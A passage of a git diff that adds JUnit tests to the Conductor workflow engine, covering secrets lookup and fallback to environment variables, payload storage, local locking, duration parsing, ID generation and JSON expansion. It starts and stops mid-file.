assertTrue(names.contains("DB_PASSWORD")); + assertFalse(names.contains("CONDUCTOR_SECRET_DB_PASSWORD")); + assertFalse(names.contains("s3cr3t")); + } + + @Test(expected = UnsupportedOperationException.class) + public void testPutThrows() { + dao.putSecret("DB_PASSWORD", "x"); + } + + @Test(expected = UnsupportedOperationException.class) + public void testDeleteThrows() { + dao.deleteSecret("DB_PASSWORD"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/secrets/NoopSecretsDAOTest.java b/core/src/test/java/com/netflix/conductor/core/secrets/NoopSecretsDAOTest.java new file mode 100644 index 0000000..80ca985 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/secrets/NoopSecretsDAOTest.java @@ -0,0 +1,47 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import org.junit.Test; + +import static org.junit.Assert.*; + +public class NoopSecretsDAOTest { + + private final NoopSecretsDAO dao = new NoopSecretsDAO(); + + @Test + public void testGetSecretReturnsNull() { + assertNull(dao.getSecret("DB_PASSWORD")); + } + + @Test + public void testSecretExistsReturnsFalse() { + assertFalse(dao.secretExists("DB_PASSWORD")); + } + + @Test + public void testListSecretNamesReturnsEmpty() { + assertTrue(dao.listSecretNames().isEmpty()); + } + + @Test(expected = UnsupportedOperationException.class) + public void testPutThrows() { + dao.putSecret("DB_PASSWORD", "x"); + } + + @Test(expected = UnsupportedOperationException.class) + public void testDeleteThrows() { + dao.deleteSecret("DB_PASSWORD"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolverTest.java b/core/src/test/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolverTest.java new file mode 100644 index 0000000..3d7bffa --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolverTest.java @@ -0,0 +1,122 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import java.util.Arrays; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.mockito.junit.MockitoJUnitRunner; + +import com.netflix.conductor.dao.EnvironmentDAO; +import com.netflix.conductor.dao.SecretsDAO; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +@RunWith(MockitoJUnitRunner.class) +public class RuntimeMetadataResolverTest { + + @Mock private SecretsDAO secretsDAO; + @Mock private EnvironmentDAO environmentDAO; + + private RuntimeMetadataResolver resolver; + + @Before + public void setup() { + resolver = new RuntimeMetadataResolver(secretsDAO, environmentDAO); + } + + @Test + public void testSecretsStoreHit() { + when(secretsDAO.getSecret("A")).thenReturn("sA"); + + Map result = resolver.resolve(Arrays.asList("A")); + + assertEquals("sA", result.get("A")); + verify(secretsDAO).getSecret("A"); + // environmentDAO should not be consulted for A when secret is found + verify(environmentDAO, never()).getEnvVariable("A"); + } + + @Test + public void testEnvironmentFallback() { + when(secretsDAO.getSecret("B")).thenReturn(null); + when(environmentDAO.getEnvVariable("B")).thenReturn("eB"); + + Map result = resolver.resolve(Arrays.asList("B")); + + assertEquals("eB", result.get("B")); + verify(secretsDAO).getSecret("B"); + verify(environmentDAO).getEnvVariable("B"); + } + + @Test + public void testSecretsPreferredOverEnvironment() { + when(secretsDAO.getSecret("C")).thenReturn("sC"); + + Map result = resolver.resolve(Arrays.asList("C")); + + assertEquals("sC", result.get("C")); + // environmentDAO should NOT be consulted when secret is found + verify(environmentDAO, never()).getEnvVariable("C"); + } + + @Test + public void testMissingNameOmitted() { + when(secretsDAO.getSecret("MISSING")).thenReturn(null); + when(environmentDAO.getEnvVariable("MISSING")).thenReturn(null); + + Map result = resolver.resolve(Arrays.asList("MISSING")); + + assertFalse(result.containsKey("MISSING")); + assertEquals(0, result.size()); + } + + @Test + public void testNullListReturnsEmptyMap() { + Map result = resolver.resolve(null); + + assertEquals(0, result.size()); + verify(secretsDAO, never()).getSecret(anyString()); + verify(environmentDAO, never()).getEnvVariable(anyString()); + } + + @Test + public void testEmptyListReturnsEmptyMap() { + Map result = resolver.resolve(Arrays.asList()); + + assertEquals(0, result.size()); + verify(secretsDAO, never()).getSecret(anyString()); + verify(environmentDAO, never()).getEnvVariable(anyString()); + } + + @Test + public void testMultipleNamesWithMixedResults() { + when(secretsDAO.getSecret("A")).thenReturn("sA"); + when(secretsDAO.getSecret("B")).thenReturn(null); + when(environmentDAO.getEnvVariable("B")).thenReturn("eB"); + when(secretsDAO.getSecret("C")).thenReturn(null); + when(environmentDAO.getEnvVariable("C")).thenReturn(null); + + Map result = resolver.resolve(Arrays.asList("A", "B", "C")); + + assertEquals("sA", result.get("A")); + assertEquals("eB", result.get("B")); + assertFalse(result.containsKey("C")); + assertEquals(2, result.size()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/storage/DummyPayloadStorageTest.java b/core/src/test/java/com/netflix/conductor/core/storage/DummyPayloadStorageTest.java new file mode 100644 index 0000000..30a42c8 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/storage/DummyPayloadStorageTest.java @@ -0,0 +1,92 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.storage; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; +import java.nio.charset.StandardCharsets; +import java.util.Map; + +import org.apache.commons.io.IOUtils; +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.utils.ExternalPayloadStorage.PayloadType; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +public class DummyPayloadStorageTest { + + private DummyPayloadStorage dummyPayloadStorage; + + private static final String TEST_STORAGE_PATH = "test-storage"; + + private ExternalStorageLocation location; + + private ObjectMapper objectMapper; + + public static final String MOCK_PAYLOAD = "{\n" + "\"output\": \"TEST_OUTPUT\",\n" + "}\n"; + + @Before + public void setup() { + dummyPayloadStorage = new DummyPayloadStorage(); + objectMapper = new ObjectMapper(); + location = + dummyPayloadStorage.getLocation( + ExternalPayloadStorage.Operation.WRITE, + PayloadType.TASK_OUTPUT, + TEST_STORAGE_PATH); + try { + byte[] payloadBytes = MOCK_PAYLOAD.getBytes("UTF-8"); + dummyPayloadStorage.upload( + location.getPath(), + new ByteArrayInputStream(payloadBytes), + payloadBytes.length); + } catch (UnsupportedEncodingException unsupportedEncodingException) { + } + } + + @Test + public void testGetLocationNotNull() { + assertNotNull(location); + } + + @Test + public void testDownloadForValidPath() { + try (InputStream inputStream = dummyPayloadStorage.download(location.getPath())) { + Map payload = + objectMapper.readValue( + IOUtils.toString(inputStream, StandardCharsets.UTF_8), Map.class); + assertTrue(payload.containsKey("output")); + assertEquals(payload.get("output"), "TEST_OUTPUT"); + } catch (Exception e) { + assertTrue(e instanceof IOException); + } + } + + @Test + public void testDownloadForInvalidPath() { + InputStream inputStream = dummyPayloadStorage.download("testPath"); + assertNull(inputStream); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/sync/local/LocalOnlyLockTest.java b/core/src/test/java/com/netflix/conductor/core/sync/local/LocalOnlyLockTest.java new file mode 100644 index 0000000..07d13ce --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/sync/local/LocalOnlyLockTest.java @@ -0,0 +1,148 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.sync.local; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; + +import org.junit.After; +import org.junit.Ignore; +import org.junit.Test; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +@Ignore +// Test always times out in CI environment +public class LocalOnlyLockTest { + + // Lock can be global since it uses global cache internally + private final LocalOnlyLock localOnlyLock = new LocalOnlyLock(); + + @After + public void tearDown() { + // Clean caches between tests as they are shared globally + localOnlyLock.cache().invalidateAll(); + localOnlyLock.scheduledFutures().values().forEach(f -> f.cancel(false)); + localOnlyLock.scheduledFutures().clear(); + } + + @Test + public void testLockUnlock() { + final boolean a = localOnlyLock.acquireLock("a", 100, 10000, TimeUnit.MILLISECONDS); + assertTrue(a); + assertEquals(localOnlyLock.cache().estimatedSize(), 1); + assertEquals(localOnlyLock.cache().get("a").isLocked(), true); + assertEquals(localOnlyLock.scheduledFutures().size(), 1); + localOnlyLock.releaseLock("a"); + assertEquals(localOnlyLock.scheduledFutures().size(), 0); + assertEquals(localOnlyLock.cache().get("a").isLocked(), false); + localOnlyLock.deleteLock("a"); + assertEquals(localOnlyLock.cache().estimatedSize(), 0); + } + + @Test(timeout = 10 * 10_000) + public void testLockTimeout() throws InterruptedException, ExecutionException { + final ExecutorService executor = Executors.newFixedThreadPool(1); + executor.submit( + () -> { + localOnlyLock.acquireLock("c", 100, 1000, TimeUnit.MILLISECONDS); + }) + .get(); + assertTrue(localOnlyLock.acquireLock("d", 100, 1000, TimeUnit.MILLISECONDS)); + assertFalse(localOnlyLock.acquireLock("c", 100, 1000, TimeUnit.MILLISECONDS)); + assertEquals(localOnlyLock.scheduledFutures().size(), 2); + executor.submit( + () -> { + localOnlyLock.releaseLock("c"); + }) + .get(); + localOnlyLock.releaseLock("d"); + assertEquals(localOnlyLock.scheduledFutures().size(), 0); + } + + @Test(timeout = 10 * 10_000) + public void testReleaseFromAnotherThread() throws InterruptedException, ExecutionException { + final ExecutorService executor = Executors.newFixedThreadPool(1); + executor.submit( + () -> { + localOnlyLock.acquireLock("c", 100, 10000, TimeUnit.MILLISECONDS); + }) + .get(); + // Releasing from another thread should not throw exception (it's caught internally) + localOnlyLock.releaseLock("c"); + + // The owning thread should still be able to release the lock + executor.submit( + () -> { + localOnlyLock.releaseLock("c"); + }) + .get(); + + localOnlyLock.deleteLock("c"); + } + + @Test(timeout = 10 * 10_000) + public void testLockLeaseWithRelease() throws Exception { + localOnlyLock.acquireLock("b", 1000, 1000, TimeUnit.MILLISECONDS); + localOnlyLock.releaseLock("b"); + + // Wait for lease to run out and also call release + Thread.sleep(2000); + + localOnlyLock.acquireLock("b"); + assertEquals(true, localOnlyLock.cache().get("b").isLocked()); + localOnlyLock.releaseLock("b"); + } + + @Test + public void testRelease() { + localOnlyLock.releaseLock("x54as4d2;23'4"); + localOnlyLock.releaseLock("x54as4d2;23'4"); + assertEquals(false, localOnlyLock.cache().get("x54as4d2;23'4").isLocked()); + } + + @Test(timeout = 10 * 10_000) + public void testLockLeaseTime() throws InterruptedException { + for (int i = 0; i < 10; i++) { + final Thread thread = + new Thread( + () -> { + localOnlyLock.acquireLock("a", 1000, 100, TimeUnit.MILLISECONDS); + }); + thread.start(); + thread.join(); + } + localOnlyLock.acquireLock("a"); + assertTrue(localOnlyLock.cache().get("a").isLocked()); + localOnlyLock.releaseLock("a"); + localOnlyLock.deleteLock("a"); + } + + @Test + public void testLockConfiguration() { + new ApplicationContextRunner() + .withPropertyValues("conductor.workflow-execution-lock.type=local_only") + .withUserConfiguration(LocalOnlyLockConfiguration.class) + .run( + context -> { + LocalOnlyLock lock = context.getBean(LocalOnlyLock.class); + assertNotNull(lock); + }); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/DateTimeUtilsTest.java b/core/src/test/java/com/netflix/conductor/core/utils/DateTimeUtilsTest.java new file mode 100644 index 0000000..96547eb --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/DateTimeUtilsTest.java @@ -0,0 +1,107 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.time.Duration; +import java.util.stream.Stream; + +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; + +import static com.netflix.conductor.core.utils.DateTimeUtils.parseDuration; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatThrownBy; + +public class DateTimeUtilsTest { + + private static Stream validDurations() { + return Stream.of( + Arguments.of("", Duration.ofSeconds(0)), + Arguments.of("5s", Duration.ofSeconds(5)), + Arguments.of("5secs", Duration.ofSeconds(5)), + Arguments.of("5seconds", Duration.ofSeconds(5)), + Arguments.of("5m", Duration.ofMinutes(5)), + Arguments.of("5mins", Duration.ofMinutes(5)), + Arguments.of("5minutes", Duration.ofMinutes(5)), + Arguments.of("5h", Duration.ofHours(5)), + Arguments.of("5hrs", Duration.ofHours(5)), + Arguments.of("5hours", Duration.ofHours(5)), + Arguments.of("5d", Duration.ofDays(5)), + Arguments.of("5days", Duration.ofDays(5)), + Arguments.of("5m 5s", Duration.ofSeconds(5 * 60 + 5)), + Arguments.of("5h 5m 5s", Duration.ofSeconds(5 * 60 * 60 + 5 * 60 + 5)), + Arguments.of( + "5d 5h 5m 5s", + Duration.ofSeconds(5 * 24 * 60 * 60 + 5 * 60 * 60 + 5 * 60 + 5)), + Arguments.of("5S", Duration.ofSeconds(5)), + Arguments.of("5SECS", Duration.ofSeconds(5)), + Arguments.of("5SECONDS", Duration.ofSeconds(5)), + Arguments.of("5M", Duration.ofMinutes(5)), + Arguments.of("5MINS", Duration.ofMinutes(5)), + Arguments.of("5MINUTES", Duration.ofMinutes(5)), + Arguments.of("5H", Duration.ofHours(5)), + Arguments.of("5HRS", Duration.ofHours(5)), + Arguments.of("5HOURS", Duration.ofHours(5)), + Arguments.of("5D", Duration.ofDays(5)), + Arguments.of("5DAYS", Duration.ofDays(5)), + Arguments.of("5M 5S", Duration.ofSeconds(5 * 60 + 5)), + Arguments.of("5H 5M 5S", Duration.ofSeconds(5 * 60 * 60 + 5 * 60 + 5)), + Arguments.of( + "5D 5H 5M 5S", + Duration.ofSeconds(5 * 24 * 60 * 60 + 5 * 60 * 60 + 5 * 60 + 5))); + } + + @ParameterizedTest(name = "[{0}] is valid duration") + @MethodSource("validDurations") + public void shouldParseDuration(String input, Duration expectedDuration) { + assertThat(parseDuration(input)).isEqualTo(expectedDuration); + } + + @ParameterizedTest(name = "[{0}] is invalid duration") + @ValueSource( + strings = { + "5", + "s", + "secs", + "seconds", + "m", + "mins", + "minutes", + "h", + "hours", + "d", + "days", + "5.0s", + "5.0secs", + "5.0seconds", + "5.0m", + "5.0mins", + "5.0minutes", + "5.0h", + "5.0hrs", + "5.0hours", + "5.0d", + "5.0days", + "5.0m 5s", + "5.0h 5m 5s", + "5.0d 5h 5m 5s", + }) + public void shouldValidateDuration(String input) { + assertThatThrownBy(() -> parseDuration(input)) + .isInstanceOf(IllegalArgumentException.class) + .hasMessage("Not valid duration: " + input); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtilsTest.java b/core/src/test/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtilsTest.java new file mode 100644 index 0000000..dbd4557 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtilsTest.java @@ -0,0 +1,280 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.commons.lang3.StringUtils; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.util.unit.DataSize; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.model.TaskModel.Status.FAILED_WITH_TERMINAL_ERROR; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class ExternalPayloadStorageUtilsTest { + + private ExternalPayloadStorage externalPayloadStorage; + private ExternalStorageLocation location; + + @Autowired private ObjectMapper objectMapper; + + // Subject + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setup() { + externalPayloadStorage = mock(ExternalPayloadStorage.class); + ConductorProperties properties = mock(ConductorProperties.class); + location = new ExternalStorageLocation(); + location.setPath("some/test/path"); + + when(properties.getWorkflowInputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10L)); + when(properties.getMaxWorkflowInputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10240L)); + when(properties.getWorkflowOutputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10L)); + when(properties.getMaxWorkflowOutputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10240L)); + when(properties.getTaskInputPayloadSizeThreshold()).thenReturn(DataSize.ofKilobytes(10L)); + when(properties.getMaxTaskInputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10240L)); + when(properties.getTaskOutputPayloadSizeThreshold()).thenReturn(DataSize.ofKilobytes(10L)); + when(properties.getMaxTaskOutputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10240L)); + + externalPayloadStorageUtils = + new ExternalPayloadStorageUtils(externalPayloadStorage, properties, objectMapper); + } + + @Test + public void testDownloadPayload() throws IOException { + String path = "test/payload"; + + Map payload = new HashMap<>(); + payload.put("key1", "value1"); + payload.put("key2", 200); + byte[] payloadBytes = objectMapper.writeValueAsString(payload).getBytes(); + when(externalPayloadStorage.download(path)) + .thenReturn(new ByteArrayInputStream(payloadBytes)); + + Map result = externalPayloadStorageUtils.downloadPayload(path); + assertNotNull(result); + assertEquals(payload, result); + } + + @SuppressWarnings("unchecked") + @Test + public void testUploadTaskPayload() throws IOException { + AtomicInteger uploadCount = new AtomicInteger(0); + + InputStream stream = + com.netflix.conductor.core.utils.ExternalPayloadStorageUtilsTest.class + .getResourceAsStream("/payload.json"); + Map payload = objectMapper.readValue(stream, Map.class); + + byte[] payloadBytes = objectMapper.writeValueAsString(payload).getBytes(); + when(externalPayloadStorage.getLocation( + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.TASK_INPUT, + "", + payloadBytes)) + .thenReturn(location); + doAnswer( + invocation -> { + uploadCount.incrementAndGet(); + return null; + }) + .when(externalPayloadStorage) + .upload(anyString(), any(), anyLong()); + + TaskModel task = new TaskModel(); + task.setInputData(payload); + externalPayloadStorageUtils.verifyAndUpload( + task, ExternalPayloadStorage.PayloadType.TASK_INPUT); + assertTrue(StringUtils.isNotEmpty(task.getExternalInputPayloadStoragePath())); + assertFalse(task.getInputData().isEmpty()); + assertEquals(1, uploadCount.get()); + assertNotNull(task.getExternalInputPayloadStoragePath()); + } + + @SuppressWarnings("unchecked") + @Test + public void testUploadWorkflowPayload() throws IOException { + AtomicInteger uploadCount = new AtomicInteger(0); + + InputStream stream = + com.netflix.conductor.core.utils.ExternalPayloadStorageUtilsTest.class + .getResourceAsStream("/payload.json"); + Map payload = objectMapper.readValue(stream, Map.class); + + byte[] payloadBytes = objectMapper.writeValueAsString(payload).getBytes(); + when(externalPayloadStorage.getLocation( + ExternalPayloadStorage.Operation.WRITE, + ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT, + "", + payloadBytes)) + .thenReturn(location); + doAnswer( + invocation -> { + uploadCount.incrementAndGet(); + return null; + }) + .when(externalPayloadStorage) + .upload(anyString(), any(), anyLong()); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef def = new WorkflowDef(); + def.setName("name"); + def.setVersion(1); + workflow.setOutput(payload); + workflow.setWorkflowDefinition(def); + externalPayloadStorageUtils.verifyAndUpload( + workflow, ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT); + assertTrue(StringUtils.isNotEmpty(workflow.getExternalOutputPayloadStoragePath())); + assertFalse(workflow.getOutput().isEmpty()); + assertEquals(1, uploadCount.get()); + assertNotNull(workflow.getExternalOutputPayloadStoragePath()); + } + + @Test + public void testUploadHelper() { + AtomicInteger uploadCount = new AtomicInteger(0); + String path = "some/test/path.json"; + ExternalStorageLocation location = new ExternalStorageLocation(); + location.setPath(path); + + when(externalPayloadStorage.getLocation(any(), any(), any(), any())).thenReturn(location); + doAnswer( + invocation -> { + uploadCount.incrementAndGet(); + return null; + }) + .when(externalPayloadStorage) + .upload(anyString(), any(), anyLong()); + + assertEquals( + path, + externalPayloadStorageUtils.uploadHelper( + new byte[] {}, 10L, ExternalPayloadStorage.PayloadType.TASK_OUTPUT)); + assertEquals(1, uploadCount.get()); + } + + @Test + public void testFailTaskWithInputPayload() { + TaskModel task = new TaskModel(); + task.setInputData(new HashMap<>()); + + externalPayloadStorageUtils.failTask( + task, ExternalPayloadStorage.PayloadType.TASK_INPUT, "error"); + assertNotNull(task); + assertTrue(task.getInputData().isEmpty()); + assertEquals(FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + } + + @Test + public void testFailTaskWithOutputPayload() { + TaskModel task = new TaskModel(); + task.setOutputData(new HashMap<>()); + + externalPayloadStorageUtils.failTask( + task, ExternalPayloadStorage.PayloadType.TASK_OUTPUT, "error"); + assertNotNull(task); + assertTrue(task.getOutputData().isEmpty()); + assertEquals(FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + } + + @Test + public void testFailWorkflowWithInputPayload() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setInput(new HashMap<>()); + + expectedException.expect(TerminateWorkflowException.class); + externalPayloadStorageUtils.failWorkflow( + workflow, ExternalPayloadStorage.PayloadType.TASK_INPUT, "error"); + assertNotNull(workflow); + assertTrue(workflow.getInput().isEmpty()); + assertEquals(WorkflowModel.Status.FAILED, workflow.getStatus()); + } + + @Test + public void testFailWorkflowWithOutputPayload() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setOutput(new HashMap<>()); + + expectedException.expect(TerminateWorkflowException.class); + externalPayloadStorageUtils.failWorkflow( + workflow, ExternalPayloadStorage.PayloadType.TASK_OUTPUT, "error"); + assertNotNull(workflow); + assertTrue(workflow.getOutput().isEmpty()); + assertEquals(WorkflowModel.Status.FAILED, workflow.getStatus()); + } + + @Test + public void testShouldUpload() { + Map payload = new HashMap<>(); + payload.put("key1", "value1"); + payload.put("key2", "value2"); + + TaskModel task = new TaskModel(); + task.setInputData(payload); + task.setOutputData(payload); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setInput(payload); + workflow.setOutput(payload); + + assertTrue( + externalPayloadStorageUtils.shouldUpload( + task, ExternalPayloadStorage.PayloadType.TASK_INPUT)); + assertTrue( + externalPayloadStorageUtils.shouldUpload( + task, ExternalPayloadStorage.PayloadType.TASK_OUTPUT)); + assertTrue( + externalPayloadStorageUtils.shouldUpload( + task, ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT)); + assertTrue( + externalPayloadStorageUtils.shouldUpload( + task, ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT)); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/IDGeneratorTest.java b/core/src/test/java/com/netflix/conductor/core/utils/IDGeneratorTest.java new file mode 100644 index 0000000..bf96a6b --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/IDGeneratorTest.java @@ -0,0 +1,37 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.UUID; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotEquals; + +public class IDGeneratorTest { + + @Test + public void testGenerateSubWorkflowIdIsStableForTaskAttempt() { + IDGenerator idGenerator = new IDGenerator(); + + String first = idGenerator.generateSubWorkflowId("parent", "task", 0); + String second = idGenerator.generateSubWorkflowId("parent", "task", 0); + String retried = idGenerator.generateSubWorkflowId("parent", "task", 1); + + assertEquals(first, second); + assertNotEquals(first, retried); + UUID.fromString(first); + UUID.fromString(retried); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/utils/JsonUtilsTest.java b/core/src/test/java/com/netflix/conductor/core/utils/JsonUtilsTest.java new file mode 100644 index 0000000..18ca511 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/utils/JsonUtilsTest.java @@ -0,0 +1,130 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class JsonUtilsTest { + + private JsonUtils jsonUtils; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setup() { + jsonUtils = new JsonUtils(objectMapper); + } + + @Test + public void testArray() { + List list = new LinkedList<>(); + Map map = new HashMap<>(); + map.put("externalId", "[{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}]"); + map.put("name", "conductor"); + map.put("version", 2); + list.add(map); + + //noinspection unchecked + map = (Map) list.get(0); + assertTrue(map.get("externalId") instanceof String); + + int before = list.size(); + jsonUtils.expand(list); + assertEquals(before, list.size()); + + //noinspection unchecked + map = (Map) list.get(0); + assertTrue(map.get("externalId") instanceof ArrayList); + } + + @Test + public void testMap() { + Map map = new HashMap<>(); + map.put("externalId", "{\"taskRefName\":\"t001\",\"workflowId\":\"w002\"}"); + map.put("name", "conductor"); + map.put("version", 2); + + assertTrue(map.get("externalId") instanceof String); + 